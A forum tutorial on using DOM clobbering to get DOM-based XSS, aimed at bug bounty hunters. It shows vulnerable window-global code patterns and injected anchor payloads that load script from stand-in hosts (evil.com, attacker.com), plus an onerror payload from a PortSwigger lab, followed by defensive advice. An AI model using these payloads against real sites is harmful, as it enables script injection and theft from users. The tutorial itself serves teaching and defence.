DOM Clobbering XSS Explained for Bug Bounty

x32x01
  • by x32x01 ||

😈 Exploiting DOM Clobbering to Achieve DOM-Based XSS​

DOM Clobbering is one of the most underrated yet dangerous client-side attack techniques ⚠️
It allows attackers to manipulate how JavaScript behaves without injecting scripts directly.
In many real-world applications, DOM clobbering is the missing link that turns harmless HTML injection into full DOM-based XSS 💥

🧠 What Is DOM Clobbering?​

DOM clobbering happens when attacker-controlled HTML elements override or shadow JavaScript variables and DOM properties that the page relies on.
Browsers automatically expose elements with id or name attributes as global variables on window.
Example:
HTML:
<div id="config"></div>
This creates:
JavaScript:
window.config
If JavaScript code trusts this global reference, an attacker can replace an expected object with HTML elements, changing logic flow completely.

👉 Key takeaway:
Even if <script> tags and event handlers are blocked, DOM clobbering still works - because it abuses how the browser builds the DOM.



💥 How DOM Clobbering Leads to DOM-Based XSS​

DOM-based XSS occurs entirely on the client side.
The server never sees the payload 🚫
A common vulnerable pattern looks like this:
JavaScript:
let settings = window.settings || {};
let script = document.createElement('script');
script.src = settings.url;
document.body.appendChild(script);
If an attacker injects the following HTML:
JavaScript:
<a id=settings></a>
<a id=settings name=url href="//evil.com/payload.js"></a>
Then:
  • window.settings becomes an HTMLCollection
  • settings.url resolves to the href
  • The browser loads attacker-controlled JavaScript
✅ Result: DOM-based XSS achieved without scripts



🧪 Real Lab Example: DOM Clobbering XSS (PortSwigger)​

🔍 Scenario​

A blog allows comments with limited “safe” HTML.
It uses a sanitizer like DOMPurify and blocks scripts and event handlers.
Client-side code loads avatars like this:
JavaScript:
let defaultAvatar = window.defaultAvatar || {
  avatar: '/resources/images/avatarDefault.svg'
};
Later, this value is used inside an <img> tag.

🧠 Why This Is Vulnerable​

The logic assumes window.defaultAvatar is either:
  • undefined
  • or a safe JavaScript object
But DOM clobbering breaks this assumption.

🧪 Working Exploit​

Injected HTML:
HTML:
<a id=defaultAvatar></a>
<a id=defaultAvatar name=avatar href='cid:"onerror=alert(1)//'></a>
What happens:
  • Both anchors share the same id
  • Browser creates an HTMLCollection
  • avatar property resolves to a crafted value
  • Value is injected into <img src="">
  • onerror executes → XSS triggered
⚠️ DOMPurify did not stop this - encoded values became dangerous at runtime.



🧩 Minimal DOM Clobbering XSS Example​

Vulnerable Code​

HTML:
<body>
  <div id="comments"></div>

  <script>
    let conf = window.conf || {};
    document.write('<script src="' + conf.script + '"></script>');
  </script>
</body>

Attacker Injection​

HTML:
<a id=conf></a>
<a id=conf name=script href="//attacker.com/xss.js"></a>
💣 Result: attacker script loads successfully.



🏆 Why DOM Clobbering Matters in Bug Bounty​

DOM clobbering is extremely valuable because:
  • It escalates HTML injection to XSS 🔥
  • It bypasses many popular HTML sanitizers
  • It appears in modern frameworks and bundles
  • It’s often overlooked by developers and scanners
👉 Many high-impact bug bounty reports come from this exact pattern.



🛡️ How to Defend Against DOM Clobbering XSS​

Safe JavaScript Coding​

  • Avoid relying on window.<name> globals
  • Use const / let inside closures
  • Never trust window.var || default patterns
Example safer check:
JavaScript:
if (
  typeof conf !== 'object' ||
  Object.getPrototypeOf(conf) !== Object.prototype
) {
  conf = {};
}



🧹 Stronger HTML Sanitization​

  • Strip or restrict id and name attributes
  • Prevent collisions with global JS variables
  • Do not rely on default sanitizer configs
Sanitizers help - but they are not enough alone.



🧱 Content Security Policy (CSP)​

CSP limits damage even if clobbering succeeds:
Code:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com
✔ Prevents external script execution
❌ Does not stop clobbering itself
Still highly recommended.



🧪 Defensive Hardening Techniques​

Lock critical globals:
JavaScript:
Object.defineProperty(window, 'conf', {
  configurable: false,
  writable: false,
  value: {}
});
This blocks reassignment via DOM clobbering.



🔍 Final Summary​

  • DOM clobbering abuses browser behavior, not scripts
  • It overrides global JavaScript references using HTML
  • It often leads directly to DOM-based XSS
  • Sanitizers alone are not enough
  • Defensive coding + CSP is the real fix
🧠 If you understand DOM clobbering, you’ll find bugs others completely miss.
 
Related Threads
x32x01
Replies
0
Views
483
x32x01
x32x01
x32x01
Replies
0
Views
439
x32x01
x32x01
x32x01
Replies
0
Views
178
x32x01
x32x01
x32x01
Replies
0
Views
413
x32x01
x32x01
x32x01
Replies
0
Views
413
x32x01
x32x01
Register & Login Faster
Forgot your password?
Forum Statistics
Threads
719
Messages
728
Members
70
Latest Member
blak_hat
Back
Top